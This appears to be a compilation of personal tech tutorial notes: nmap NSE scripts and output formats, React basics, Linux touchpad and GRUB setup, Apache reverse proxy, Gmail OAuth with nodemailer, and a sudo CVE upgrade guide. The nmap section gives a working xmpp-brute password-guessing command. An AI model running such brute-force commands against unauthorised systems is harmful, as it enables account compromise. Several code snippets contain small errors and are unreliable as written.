
```

- here in the script tell us in the @args section, which argument to use.
- we can see the argument for this script is ***`xmpp.brute.servername`***, ***`xmpp-brute.auth`***
- these arguments are the script specific arguments.
- there are others argument we can specify.
- for ***`bruteforce`*** category scripts, common arguments we can use is
  - ***`userdb`*** ; file contains username db;
    - default: ***`/usr/share/nmap/nselib/data/username.lst`***
  - ***`passdb`*** ; file contains password db;
    - default: ***`/usr/share/nmap/nselib/data/passwords.lst`***
- example usage

```bash
nmap -p 5222 --script xmpp-brute --script-args userdb='~/Desktop/username.lst',passdb='~/Desktop/pass.lst',xmpp-brute.auth='LOGIN' target.com
```

- reading directly on the script can be quite challenging for someone who don't understand `Lua`.
- most simpler way to know about the script is simply goolge the name
- read official [nmap docs](https://nmap.org/nsedoc/scripts/xmpp-brute.html) about the script.

## Installing scripts.

- let say you want to sync your scripts with official nmap script, we can simply run ***`apt update && apt install nmap`***.
- to download or add your own script, simply move it to ***`/urs/share/nmap/scripts`*** directory and then run ***`nmap --script-updatedb`***.
- this will update the ***`script.db`*** we viewed earlier.

## Saving scan result.

- while perfoming scanning, we might want to safe our result as reference, we can save the output of our scan using the small o `-o` tag.
- there are few formats we can save our output.
- Normal Format (-oN)

  - ***`nmap -T4 -A scanme.nmap.org -oN <path-to-outputfile> `***
  - example output look like this

  ```txt
  # Nmap 7.91 scan initiated Wed Jun  9 01:16:58 2021 as: nmap -T4 -A -oN nmap_out/normal scanme.nmap.org
  Nmap scan report for scanme.nmap.org (45.33.32.156)
  Host is up (0.24s latency).
  Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
  Not shown: 996 closed ports
  PORT      STATE SERVICE    VERSION
  22/tcp    open  ssh        OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   1024 ac:00:a0:1a:82:ff:cc:55:99:dc:67:2b:34:97:6b:75 (DSA)
  |   2048 20:3d:2d:44:62:2a:b0:5a:9d:b5:b3:05:14:c2:a6:b2 (RSA)
  |   256 96:02:bb:5e:57:54:1c:4e:45:2f:56:4c:4a:24:b2:57 (ECDSA)
  |_  256 33:fa:91:0f:e0:e1:7b:1f:6d:05:a2:b0:f1:54:41:56 (ED25519)
  80/tcp    open  http       Apache httpd 2.4.7 ((Ubuntu))
  |_http-favicon: Nmap Project
  |_http-server-header: Apache/2.4.7 (Ubuntu)
  |_http-title: Go ahead and ScanMe!
  9929/tcp  open  nping-echo Nping echo
  31337/tcp open  tcpwrapped
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  # Nmap done at Wed Jun  9 01:17:32 2021 -- 1 IP address (1 host up) scanned in 33.65 seconds

  ```

- XML format (-oX).
  - this stored the output in a xmal format, that can be easily parsed by other tools or scripts.
  - ***`nmap -T4 -A scanme.nmap.org -oX ~/Desktop/nmapout.xml`***
  - the output can be overwhelme, but here's a snippit of the output.
  ```xml
  <verbose level="0"/>
  <debugging level="0"/>
  <hosthint><status state="up" reason="unknown-response" reason_ttl="0"/>
  <address addr="45.33.32.156" addrtype="ipv4"/>
  <hostnames>
  <hostname name="scanme.nmap.org" type="user"/>
  </hostnames>
  </hosthint>
  <host starttime="1623216170" endtime="1623216199"><status state="up" reason="syn-ack" reason_ttl="0"/>
  <address addr="45.33.32.156" addrtype="ipv4"/>
  <hostnames>
  <hostname name="scanme.nmap.org" type="user"/>
  <hostname name="scanme.nmap.org" type="PTR"/>
  </hostnames>
  <ports><extraports state="closed" count="962">
  <extrareasons reason="conn-refused" count="962"/>
  </extraports>
  <extraports state="filtered" count="35">
  <extrareasons reason="no-responses" count="35"/>
  </extraports>
  ```
- $crIpT kIddI3 format (-oS).

  - as you can see from the name, its a joke, printing letters in weird mix of inconsistent capitalization.
  - ***`nmap -T4 -A scanme.nmap.org -oS <path-to-outputfile> `***
  - here are the example output

  ```txt
  start1ng Nmap 7.91 ( httpz://Nmap.0rg ) at 2021-06-09 01:25 eDT
  Nmap scan r3p0Rt fOr $cANM3.nmap.0rg (45.33.32.156)
  h0st iz Up (0.23z latENcY).
  OTh3r aDdr3s$3z f0r scanm3.nmap.0rg (n0t ScAnned): 2600:3c01::f03c:91ff:f318:bb2F
  N0T sh0wn: 986 Cl0S3d p0rts
  PORT      ST4TE    SERVice       V3RS|oN
  22/tcp    OPEN     $$H           OpENSSH 6.6.1p1 UbuNtu 2ubuNTu2.13 (Ubuntu L1nux; prOt0c0l 2.0)
  | $$h-ho$tk3Y:
  |   1024 ac:00:a0:1a:82:Ff:cc:55:99:Dc:67:2b:34:97:6b:75 (DS4)
  |   2048 20:3D:2d:44:62:2a:b0:5a:9d:b5:B3:05:14:c2:a6:b2 (R$A)
  |   256 96:02:bb:5E:57:54:1C:4e:45:2f:56:4c:4a:24:b2:57 (eCD$4)
  |_  256 33:fa:91:0f:30:31:7b:1f:6d:05:a2:b0:f1:54:41:56 (3D25519)
  80/tcp    0peN     http          apAche Httpd 2.4.7 ((Ubuntu))
  |_Http-favicon: NmaP PR0ject
  |_hTtp-$3rveR-hEader: 4pache/2.4.7 (uBuntU)
  |_httP-t1tle: G0 aH3Ad and ScaNM3!
  406/tcp   filt3r3D im$p
  1043/tcp  f!LT3red B0Inc
  1064/tcP  fILteREd J$tel
  1183/tcp  fIlTer3D Ll$urfuP-hTtp
  1311/tcp  filtEr3d rxm0n
  1718/tCp  filtErEd H323gat3D|$C
  2967/tCp  fiLtered $ymaNtec-av
  5001/tcp  F|lterEd COMmpLEX-liNk
  8008/tCp  f1ltEred http
  9929/tcp  0p3n     nPiNg-ecH0    Np|ng 3Ch0
  31337/tcp 0p3n     TcpwRaPp3d
  52673/tcp f|lT3R3d uNkN0wn
  $3Rvic3 inf0: Os: L|nux; cPE: cp3:/0:Linux:l|nuX_kern3l

  ServiC3 d3tect!0N perfoRmEd. PleA$e R3p0rt any iNcoRrEct r3$Ultz At hTtps://nmaP.0rg/$Ubmit/ .
  NmAp dOn3: 1 iP addr3$z (1 hOst up) scann3d !n 37.91 $eCoNdz

  ```

- Grep format (-oG)
  - this format yield output that are grepable, means we can easily use it with grep.
  - ***`nmap -T4 -A scanme.nmap.org -oN <path-to-outputfile> `***
  - here are the example outputs, short and simple seperate by commas.
  ```txt
  # Nmap 7.91 scan initiated Wed Jun  9 01:35:45 2021 as: nmap -T4 -A -oG nmap_out/grepformat scanme.nmap.org
  Host: 45.33.32.156 (scanme.nmap.org)    Status: Up
  Host: 45.33.32.156 (scanme.nmap.org)    Ports: 22/open/tcp//ssh//OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.4.7 ((Ubuntu))/, 9929/open/tcp//nping-echo//Nping echo/, 31337/open/tcp//tcpwrapped///     Ignored State: closed (996)
  # Nmap done at Wed Jun  9 01:36:15 2021 -- 1 IP address (1 host up) scanned in 29.62 seconds
  ```
- major format, AKA All format (-oA)
  - this will create output of 3 major format (normal, grep and XML) each as seperate file.
  - ***`nmap -T4 -A scanme.nmap.org -oA nmap_out/combined`***
  - this will produce 3 files ***`combined.gnmap`***, ***`combined.nmap`***, ***`combined.xml`***
- in this example, notice that we use `-T` tag, with a number.
- this tag is the level of timing, with highest level is the faster timing but noisier.
- what is does is making our scan run faster, but can prone to error because of the noise created can be detected IDS or firewall.

# PORT state recognized by Nmap

```txt

open
An application is actively accepting TCP connections, UDP datagrams or SCTP associations on this port.
Finding these is often the primary goal of port scanning. 
Security-minded people know that each open port is an avenue for attack. 
Attackers and pen-testers want to exploit the open ports, 
while administrators try to close or protect them with firewalls without thwarting legitimate users. 
Open ports are also interesting for non-security scans because they show services available for use on the network.

closed
A closed port is accessible (it receives and responds to Nmap probe packets), 
but there is no application listening on it. 
They can be helpful in showing that a host is up on an IP address (host discovery, or ping scanning), and as part of OS detection. 
Because closed ports are reachable, it may be worth scanning later in case some open up. 
Administrators may want to consider blocking such ports with a firewall. 
Then they would appear in the filtered state, discussed next.

filtered
Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. 
The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. 
These ports frustrate attackers because they provide so little information. 
Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. 
This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically.

unfiltered
The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. 
Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. 
Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open.

open|filtered
Nmap places ports in this state when it is unable to determine whether a port is open or filtered. 
This occurs for scan types in which open ports give no response. 
The lack of response could also mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know for sure whether the port is open or being filtered. 
The UDP, IP protocol, FIN, NULL, and Xmas scans classify ports this way.

closed|filtered
This state is used when Nmap is unable to determine whether a port is closed or filtered. 
It is only used for the IP ID idle scan.

-source: nmap
```

nmap basic part 1

# About React
- React is a javascript library (not a framework like angular).
- We can use react to easily create reactive content in the browser
- We make used of React library and ReactDom.

# Create a simple react app
- create a html file called `index.html` .
- inside that html file, we need to require react library and babel.
- then either in the same index.html file or in a seperate `.js` file we can start writing our react code.
- in this example, I write my jsx code in a file called `.index.jsx` inside a folder called `scripts` and include the script inside my html.
```html
<!DOCTYPE html>
<html>

    <head>
    
    <script src="https://unpkg.com/react@17/umd/react.development.js" crossorigin></script>
    <script src="https://unpkg.com/react-dom@17/umd/react-dom.development.js" crossorigin></script>
    
    
    <script src="https://unpkg.com/babel-standalone@6.26.0/babel.js"></script>
	
	
    <script src="/scripts/index.jsx" type="text/babel"></script>
    </head>
    
    
    <body>
        
        <div id="root">
        </div>
	    <div id="second"> </div> 
    </body>
</html>

```
- inside our `/scripts/index.jsx` file, we can create our first react component and then render it to the browser using `ReactDOM`.
```jsx
//inside /scripts/index.jsx

/*
We can rename our component to anything, in other tutorial people sometimes use App. In this example I use Main, but in other  in this example I use Main, just to show hat it is possible.
*/

//to create a react class component, we can extends React.Component
class Main extends React.Component{

	render(){
		return (
			<h1>Hello, this is a react app example <h1>
		);
	}
}

ReactDOM.render(<Main/>,document.querySelector('#root'))
```
- inside vscode, we can open our `index.html` with a live server and we can see that our react app is working, with our Main component get rendered on the browser.
-  This is however the most basic ways to use React Libraries in our web project.
- There are also other ways to create a react app such as using [Create React app Toolchain](https://reactjs.org/docs/create-a-new-react-app.html)

# Understanding React Component.
In any react App, it mostly consist of components. Components are independent and reusable javascript code that we can use in our app that return a HTML. 

In react, there are two types of component:
- Functional Component
- Class Component

In our previous example, we rendered our `Main` component into the `#root` div element. Our `Main` component is a `class` component.
We can declare another class component and render it somewhere else in our html.
```html
<!DOCTYPE html>
<html>

    <head>
    
    <script src="https://unpkg.com/react@17/umd/react.development.js" crossorigin></script>
    <script src="https://unpkg.com/react-dom@17/umd/react-dom.development.js" crossorigin></script>
    
    
    <script src="https://unpkg.com/babel-standalone@6.26.0/babel.js"></script>
	
	
    <script src="/scripts/index.jsx" type="text/babel"></script>
    </head>
    
    
    <body>
        
        <div id="root">
        </div>
	    <div id="second"> </div> 
    </body>
</html>
```
inside our `index.jsx` we can declare a second component and render it on `#second` div.
```jsx
// index.jsx
class Second extends React.Component{
	render(){
		return (
			<h1>Hello I am the second component</h1>
		)
	}
}
class Main extends React.Component{
	render(){
		return(
			<h1>Hello World this is react app</h1>
		)
	}
}

ReactDOM.render(<Main/>,document.querySelector('#root'))
ReactDOM.render(<Second/>,document.querySelector('#second'));
```
- we can also re-used the same component and render it. Instead of rendering `<Second/>` component on `#second` div. Here we render two `<Main/>` components.
```jsx
// index.jsx
class Main extends React.Component{
	render(){
		return(
			<h1>Hello World this is react app</h1>
		)
	}
}

ReactDOM.render(<Main/>,document.querySelector('#root'))
ReactDOM.render(<Main/>,document.querySelector('#second'));
```

What we have done, is equivalent of writing `document.createElement` and `document.appendChild` in our vanilla Javascript project. The different is when using React, our code are more cleaner and able to use react library features.

## Functional Component example
In the example below, We create the same component as earlier but as `functional component`.
```jsx

function Main(){
	return (
		<h1>Hello, this is a react app example <h1>
	)
}

ReactDOM.render(<Main/>,document.querySelector('#root'));
```
### Note: 
- react component only return One element, to return many element, we must nest it inside other html element such as `div` or  react `fragment`. 
```jsx

/**
	Example of invalid component returning multiple element
**/
function Test(){

	// this is invalid
	return (
		<h1> Hello World</h1>
		<p> something </p>
	)
}

/**
	Example of valid component returning multiple element
**/
function Test2(){
	//this is ok!.
	return (
		<div>
			<h1> Hello World</h1>
			<p> something </p>
		</div>
	)
}
```
## Nesting a component
We can also, nested our component inside another component. In this example, we create a `Hello` component and render it as a child of our `Main` component.

```jsx
function Hello(props){
		return (
			<h1>Hello from Hello, {props.children} </h1>
		)
}

class Main extends React.Component{
	render(){
		return(
		<div>
			This is from Main,
			<Hello>
				This is an example of nested component.
			</Hello>
		</div>
		)
	}
}

ReactDOM.render(<Main/>, document.querySelector('#root'));
```
Noticed that `props`, we used to pass the text from `Main` component to our `Hello` component. We will look that props in the next sections.

## Reusable component.
By writing components, we allowed our code to be reused multiple times throughout our project. As example, we can create a `<button>` component with a specific styles and perform actions when clicked. 

We can then reused it multiple times in our project without having to re-write the entire styling, and behaviour of a button when clicked.

```jsx
class Main extends React.Component{
	showAlert(){
		alert("Button Clicked!");
	}

	render(){
		/**
		here we are re-using the <Button> component 
		with different properties passed to it.
		**/
		return(
			<div>
				This is from Main,
				<Hello>
					This is an example of nested component.
				</Hello>
				<Button text="Button one" 
					clickHandler={this.showAlert}
				/>
				<Button text="Button two" 
					mouseOverHandler={()=>{alert("Mouse over me!")}}
				/>
			</div>		
		)
	}
}

function Hello (props) {
	return (
		<h1> Hello, {props.children}</h1>
	)
}

/**
	Here we declared, a Button component, that accepts few properties
	such as text, clickHandler, and mouseOverHandler,
*/
class Button extends React.Component{
	constructor(props){
		super(props)
		//we bind this so that our method know that this are refered to the class.
		this.onClickHandler = this.onClickHandler.bind(this);
	}
	
	onClickHandler(){
		if(typeof this.props.clickHandler == 'function'){
			this.props.clickHandler();
		}
		//do something else
		console.log('Do something');
	}

	onMouseOverHandler(){
		if(typeof this.props.mouseOverHandler == 'function'){
			this.props.mouseOverHandler();
		}
	}

	render(){
		return (
			<button onClick={this.onClickHandler} 
			onMouseOver={this.onMouseOverHandler.bind(this)} 
			>
				{this.props.text}
			</button>
		)
	}
}

ReactDOM.render(<Main/>,document.querySelector('#root'));
```

# Understanding Props
Props are properties that we pass between parent and child components to transfer information. A Parent component use props to transfer information to the child component, while child component cannot directly transfer information to parent via props.

```
Parent -> child (ok)
Parent <- child (not ok)
```

Using the example previously, we create a `Button` component that accept few properties `text`,`clickHandler`,`mouseOverHandler`. There is no limit on what and how many props we want to share to a component. In above example, we use props to` `customize the `Button` components from the parent `Main` component. 

## Passing Props
We can provide props from parent to child by passing the value of the properties to our component such as we provide attribute values to a HTML element.
```jsx
//here we passing propsValue as string
<MyComponent attributeName="propsValue" /> 

//we can alsp pass a variable to the attribute/props key
const name = "propsValue";
<MyComponent attributeName={name}/>
```

To reference or consume the props from child component, we simply get the value of the attributes name from the props variable.
```jsx
const something = props.attributeName; 
console.log(attributeName); // print propsValue
```
## props.children
If, you noticed earlier in the [nesting a component sections](#nesting-a-component), I used a props named `.children` to nest element inside of a component element. `children` is a special react props that we can use to nest element within a component element. 
```jsx
//inside parent component
function ParentComp(){
	return (
		<div>
			The output will be:
			<ChildComp> 
				Text from parent
				<GrandChildComp/>
			</ChildComp>
		</div>
	)
}

function ChildComp(props){
	return (
		<div>
			Some text from child and {props.children}
		</div>
	)
}

function GrandChildComp(props){
	return (
		<div>
			Some text from grandchild.
		</div>
	)
}
/**
	The output will be: 
	Some text from parent
	Some text from child and Text from parent.
	Some text from grandchild.
*/
```
The children props contains the nested element we passed to our child component body.
If we passed a string, the children props will containt a type string with the value of the string we passed. In this example, we passed a text and another react component. If we 
```jsx
console.log(props.children)
```
we will see that it contains an array with string as the first element in the array, and a react.element as the second element.


## Props example in Functional Component
```jsx
function TextContent(props){
	const {text} = props;
	return (
		<div>
			<p>{text}</p>
		</div>
	)
}

function Main(){
	const myText= 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do'
	return (
		<div>
			<h1> This is header from parent </h1>
			<TextContent text={myText} />
			<TextContent 
				text="Ut enim ad minim veniam, quis nostrud exercitation ullamco"
			/>
		</div>
	)
}
ReactDOM.render(<Main/>,document.querySelector('#root'));
```

## Props example in Class Component
```jsx
class TextContent extends React.Component{
	render(){
		return (
			<div>
				<p>{this.props.text}</p>
			</div>
		)
	}
}

function Main(){
	const myText= 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do'
	return (
		<div>
			<h1> This is header from parent </h1>
			<TextContent text={myText} />
			<TextContent 
				text="Ut enim ad minim veniam, quis nostrud exercitation ullamco"
			/>
		</div>
	)
}
ReactDOM.render(<Main/>,document.querySelector('#root'));
```

# State in React
What is state in react ? 
State is an object of observable proeprties ( a JS object that contains information related to a component that are changing overtime ). Changing the state of a component ` caused the component to be re-rendered`.  In Angular if you are familiar, we also can declared a observable properties by using Rxjs. This will create a observable that will observe for changes to a properties and update all the reference of the properties. 

In react, we declare a state of our component, the component will then observe the state in the background, and if any we change the property of the state, our view that make use of the state proerties will be update (re-render). (atleast this is how I understand it).

## few information about react state
- in class component, state is a special named variable.
- in class base component, state can only be updated using the function `setState` method
- when we update a state, the view will be re-render automatically with the updated state.
- state must be initialized when component is created.

## Example of state in Class component.

```jsx
class Main extends React.Component{
	//we initialize our state
	state = {
		count: 0,
	}

	increaseCounter(){
		let counter = this.state.count;
		counter++;
		/**
		calling a setState wil change the state value, 
		thus re-render the view with the new state value
		**/
		this.setState({
			count: counter,
		});
	}

	render(){
		return (
			<div>
				<h1>Counter: {this.state.count}</h1>
				<button onClick={this.increaseCounter.bind(this)}> 
					increase
				</button>
			</div>
		)
	}
}

ReactDOM.render(<Main/>,document.querySelector('#root'));
```
## Example of state in Functional Component.
While in class component we have the `state` object and `setState` method to manage the state of our component, in functional component we use a `hook` instead. A `hooks` is a special react functions that let us `hook` into a react state and lifecycles featurs from a functional component. I will explain more about react hooks later in a seperate post.

To manage our state in functional component, we use `useState` hook.
```jsx
/*
I import the hook like this because I am writing this example
in index.jsx file sourced inside index.html using the React library scripts CDN,
So the React object already loaded. we can access useState simply by calling the method from the react object like this React.useState();

IF u are following the example from creat-react-app toolchain,
you can import hooks using
import {useState} from 'React';
*/
const {useState} = React; // simply destructuring the React object.
function Main(){
	//here we initialize our state
	const [count,setCount] = useState(0);

	function increaseCounter(){
		const counter = count+1;
		//update our counter state
		setCount(counter);
	}
	return (
		<div>
			<h1>Counter: {count}</h1>
			<button onClick={increaseCounter.bind(this)}> 
				increase
			</button>
		</div>
	)
}
ReactDOM.render(<Main/>,document.querySelector('#root'));
```

# Component Lifecycle
In react class component, there are few methods that will be executed in stages when a component class get initialized into the DOM. These methods are called `lifecycle methods`, and one of the method we saw earlier is the `render()` method.

We can make use of these methods whenever we want to perform specific actions on a specific stage of our component lifecycle.

## React component Lifecycle
There are 3 main stages of react component lifecycle. 
- mounting
- updating
- unmounting.

### Mounting
Mounting happen when the web page is loaded by the browser. Our browser load all the javascript file and then create the component that we declared. As a component get initialized these methods get called in an order: 

constructor() -> componentWillMount() -> render() ->componentDidMount().

### Updating
Updating happen when we make changes to our component states via `setState` method or the `useState` hook. When we update the state, our component get re-render by the browser and called these methods in an order:

componentWillUpdate() -> render() -> componentDidUpdate()

### Unmounting
Unmounting happens when the component are no longer being used and get detached from the DOM. (no longer showing on the page). When component unmounting it will call the `componentWillUnmount()` method.

### Note:
-  **componentWillUpdate** and **componentWillMount** is not recomended to be use
-  people no longer use these two methods. refer [here](https://reactjs.org/blog/2018/03/27/update-on-async-rendering.html)
- I included this information just for the purpose of demo and education.

## React Lifecycle example
```jsx
class Main extends React.Component{
	constructor(props){
		super(props);
		this.state = {
			haveJob : 'false'
		}
		console.log('inside constructor');
	}
	componentWillMount(){
		console.log('after constructor');
	}

	render(){
		console.log('inside render')
		return (
			<div>
				<p>Do I have a Job? : {this.state.haveJob}</p>
				{{
					this.state.haveJob == 'false' && 
					<button onClick={()=>this.setState({haveJob:'true'})}>
						Get a job
					</button>
				}}
			</div>
		)
	}
	componentDidMount(){
		console.log('after render');
	}

	componentWillUpdate(){
		console.log("State will update");
	}

	componentDidUpdate(){
		const state = this.state.haveJob;
		console.log('state updated to:',state);
	}
}

ReactDOM.render(<Main/>,document.querySelector('#root'));
```

# Conclusion
This is probably the most basic stuff you need to know about ract. There are more to it that we can learn about react, such as `Redux`,`Router`,`hooks`,`context` and more.

Basic React


## Enabling Laptop Touchpad in Arch Linux.
1. Install touchpad driver using `pacman -Sy xf86-input-synaptics` 
2. In arch linux website, it is advised to use libinput instead of xf86-input-synaptics, 

## Enable two finger touch for right click,
1. you can either configure it with the file in `/etc/X11/xorg.conf.d/70-synaptics.conf`
example:
``` aconf
Section "InputClass"
    Identifier "touchpad"
    Driver "synaptics"
    MatchIsTouchpad "on"
        Option "TapButton1" "1"
        Option "TapButton2" "3"
        Option "TapButton3" "2"
        Option "VertEdgeScroll" "on"
        Option "VertTwoFingerScroll" "on"
        Option "HorizEdgeScroll" "on"
        Option "HorizTwoFingerScroll" "on"
        Option "CircularScrolling" "on"
        Option "CircScrollTrigger" "2"
        Option "EmulateTwoFingerMinZ" "40"
        Option "EmulateTwoFingerMinW" "8"
        Option "CoastingSpeed" "0"
        Option "FingerLow" "30"
        Option "FingerHigh" "50"
        Option "MaxTapTime" "125"
        ...
EndSection

```
2. second methods is by using `synclient`, 
 - using `synclient -l` to list our touchpad options.
 - to enable douple tap for rightclick 
 ```bash
 nurbxfit@jun:~ synclient TabButton2=3
 ```
 - to enable single tab for leftclick 
 ``` bash
 nurbxfit@jun:~ synclient TabButton1=1
 ```

Enable Laptop Touchpad on Arch Linux


# Generate static frontend file
Let's say we want to deploy our Angular website on a linux server.
we have a frontend Angular and a backend express/node.js REST API.
- we have our angular project in a folder `myangularweb`.
- we the first generate our frontend file using : `ng build` 
- the command will generate a bunch of `.js` files and `index.html` file inside of the `dist/` folder inside of our angular project folder.
- create a folder in `/var/www` for our website. I named it `/var/www/myangularweb.com`.
- copy the content of the `dist` folder into `/var/www/myangularweb.com` folder.


# configure httpd/apache to host that file.
- httpd configuration file are located in `/etc/httpd/conf/`.
- we have two options:
    1. first we can directly edit the `/etc/httpd/conf/httpd.conf`
    2. Second we can create new config file in `/etc/httpd/conf.d/` and include that file from `httpd.conf`

- using the first option we edit the file `/etc/httpd/conf/httpd.conf` with the following.
```aconf
    <Directory "/var/www/myangularweb.com">
    AllowOverride None
    FallbackResource ./index.html
    Options Indexes FollowSymLinks
    Require all granted
    </Directory>
```
  - we add a DocumentRoot to point to `/var/www/myangularweb.com`.
  - these few lines, tells httpd to use our project folder contain `index.html` as root of our server.
  - then restart httpd or apache service
  
```bash
nurbxfit@jun:~ systemctl restart httpd.service
```

# enable reverse Proxy in httpd.
- When we make request to our server, let's say the domain is `myangularweb.com`.
- the `httpd` server will send the `index.html` files we copied into `/var/www/myangularweb.com` ealier, to the web browser.
- the browser will render our angular frontend and send a request to the backend API running on the same domain.
- let say in our development machine, our angular frontend made a fetch request to `http://localhost:4545/users/` to get the list of user and then render it on the browser.
- when we serve it on a server, we no longer use `localhost` as our host instead we use the domain name or the IP address to connect to the API.
- we can run our node.js server on port 4545 and make a request to it using `http://myangularweb.com:4545/users/`.
- doing so, will require us to open port `4545` for external access. 
- instead of that, we use httpd/apache/nginx as proxy on port `80`.
- httpd will redirect request for api from our frontend to the backend api running on `http://localhost:4545/`.
- NOTE: our backend API running on `http://0.0.0.0:4545/`

- we need these modules to enable httpd reverse proxy.
  - `proxy_module`
  - `lbmethod_byrequests_module`
  - `proxy_balancer_module`
  - `proxy_http_module`
  
- we can check if our modules are loaded by opening `/etc/httpd/conf.modules.d/00-proxy.conf`
- if the name of our modules is commented, uncomment it to use it.
- then inside of `/etc/httpd/conf.d/`.
  - create new config file name: `default-site.conf`
  - inside the newly create file, paste this config.
   
```aconf
<VirtualHost *:80>
ProxyPreserveHost On

ProxyPass /api/ http://0.0.0.0:4545/
ProxyPassReverse /api/ http://0.0.0.0:4545/
</VirtualHost>
```
   - if our website is listening on different IP or different server in internal network, replace the `http://0.0.0.0:4545/` with your website ip.
   - the `/api/` tells the proxypass to redirect request with `/api/` to our api server.
   - so let say our server domain is `http://myangularweb.com`
   - by sending request to `http://myangularweb.com/api` all the request will be redirect to our internal backend api. 

# side note:
   - if our server is RHEL base server running SELinux.
   - we need to use `setsebool` to set this.
   ````bash 
    setsebool -P httpd_can_network_connect on 
   ````
   - otherwise we will get 503 error message from the httpd, when visiting `/api`


Hosting AngularJs with httpd


# Boot a Live ISO image using grub.
- having already installed arch based linux system on my pc.
- without using live usb, we can also boot the `.ISO` file through grub.
- we first need to download the iso file, and then configure our grub menu.
- open grub custom configure file `/etc/grub.d/40_custom` using text editor.

```bash
	$ sudo vim /etc/grub.d/40_custom
```

- then add the following entry at the bottom:

```aconf
    menuentry "Title of my ISO file" --class someclassname{ # change someclassname with other name
    set root='(hd2,4)' #change with the main partition of your current OS
    set isofile="/home/jun/Downloads/archlinux.iso" #change with the iso file u want to boot
        set dri="free"
        search --no-floppy -f --set=root $isofile
        probe -u $root --set=abc
        set pqr="/dev/disk/by-uuid/$abc"
        loopback loop $isofile
        linux  (loop)/arch/boot/x86_64/vmlinuz-linux img_dev=$pqr img_loop=$isofile driver=$dri quiet splash vt.global_cursor_default=0 loglevel=2 rd.systemd.show_status=false rd.udev.log-priority=3 sysrq_always_enabled=1 cow_spacesize=2G
    initrd  (loop)/arch/boot/intel-ucode.img (loop)/arch/boot/amd-ucode.img (loop)/arch/boot/x86_64/archiso.img
    } 

```
- note to replace `isofile` path to the path of your downloaded iso file.
- and replace the `Title of my ISO file` with anything you want to show in grub menu.
- then save the file (if using vim press the `<ESC>` button and then press the `:` button and write `wq` and press enter).
- then reload and update the `grub.cfg`

``` bash
    # on Arch based distro
    $ sudo grub-mkconfig -o /boot/grub/grub.cfg

    # on ubuntu based distro
    $ sudo update-grub
```

- and we are done.
- you can restart and choose the iso from grub.



Live-boot Linux ISO


# Setup gmail OAuth2 with nodemailer.
- go to [google cloud console](https://console.cloud.google.com/)
- search for `api and service`
- crete new project
- then go to `credentials`
- create new `Outh client ID` under `create new credentiala`. (you may need to setup OAuth consent screen to be able to create new credentials).
- on creating new crendentials choose `web application` as type.
- set Authorize redirect as : 
```aconf
    https://developers.google.com/oauthplayground
```
- then copy the given `client_id` and `client_secret`.

# on outhplayground website.
- on setting (gear wheel) icon, click it and enable `use your own Outh credentials`
- fill in the `client_id` and `client_secret` you copied earlier and hit `close`.
- on left side where it says `select and Authorize API`. paste this : `https://mail.google.com`.
- then click authorize api.
- a new tab will redirect to your google login page.
- login to your account (amil sender). and approve the API.
- click : `Exchange authorization code for tokens` and then copy the refresh token.
- we are now ready to write our code.

# In Node.js.
- install nodemailer.
- install googleapis using : `npm install googleapis`.  
- crate new mailing service. (I usually create it under path: `lib/mailer.js`
- inside that file import googleapis and nodemailer.
```js
const mailer = require('nodemailer');
const {google} = require('googleapis');

```
- create new oAuth2 client by passing our *client_id*, *client_secret* and our *Authorize redirect address*, which is.
```
https://developers.google.com/oauthplayground
``` 
```js
const oAuth2Client = new google.Auth.OAuth2(
	`REPLACE_THIS_WITH_OUR_CLIENT_ID`,
	`REPLACE_THIS_WITH_OUR_CLIENT_SECRET',
	`REPLACE_THIS_WITH_OUR_AUTH_REDIRECT`,
);
```
- then set our refresh token to out OAuth2Client by passing the refresh token we copied earlier.
```js
oAuth2Client.setCredentials(REPLACE_THIS_WITH_OUR_RF_TOKEN);
```
- then we can get the accessToken to our emailservice from the OAuth2Client.
```js
const accessToken = oAuth2Client.getAccessToken();
```
- using that accessToken, we can send mail using nodemailer by setting the `Auth` `type`  options to `OAuth2`.
- example nodemailer transporter.
```js
const transporter = nodemailer.createTransport({
	service: 'gmail',
	auth : {
		type: 'OAuth2',
		user: 'sendergmailaddress@gmail.com',
		clientId: 'REPLACE_THIS_WITH_OUR_CLIENT_ID_COPIED_EARLIER',
		clientSecret: 'REPLACE_THIS_WITH_OUR_CLIENT_SECRET',
		accessToken,
	},
});
```

Gmail OAuth with Nodemailer

## Why upgrade sudo ?
- recently in 2021, there is a new vulnerability for linux operating system that are caused by vulnerability in `sudo` commands.
- it is basically a vulnerability that enable attacker to gain `escalated privileges` to a root user on linux system.
- if an attacker can get access to your machine, by exploiting other user vulnerabilities, such as exploiting apache user in your webserver, they can gain root access if they know how to exploit this new sudo vulnerability.
- this exploit allows attacker to gain root access even though they are not in the sudoers list.
- I am still noobs in this field, so I will not explain it more.
- you can read more about it here [CVE-2021-3156](https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit).


## Solution to this problem.
- for now the solution for this problem is basically upgrade your sudo to a new version.
- on [sudo website](https://www.sudo.ws/stable.html#1.9.5p2) there is a recent release that provided patch for this exploit.
- you can download it here [version 1.9.5p2](https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz)

    as you can see here, I am using the older version, which is vulnerable to this attack, my version is *1.8.31*

![sudo version 1.8.31](sudoversion.png)

## Install and upgrade it.
- the installation process is actually simple, like installing any other linux software from source.
- first download the file from [sudo website](https://sudo.ws) or click [here](https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz)
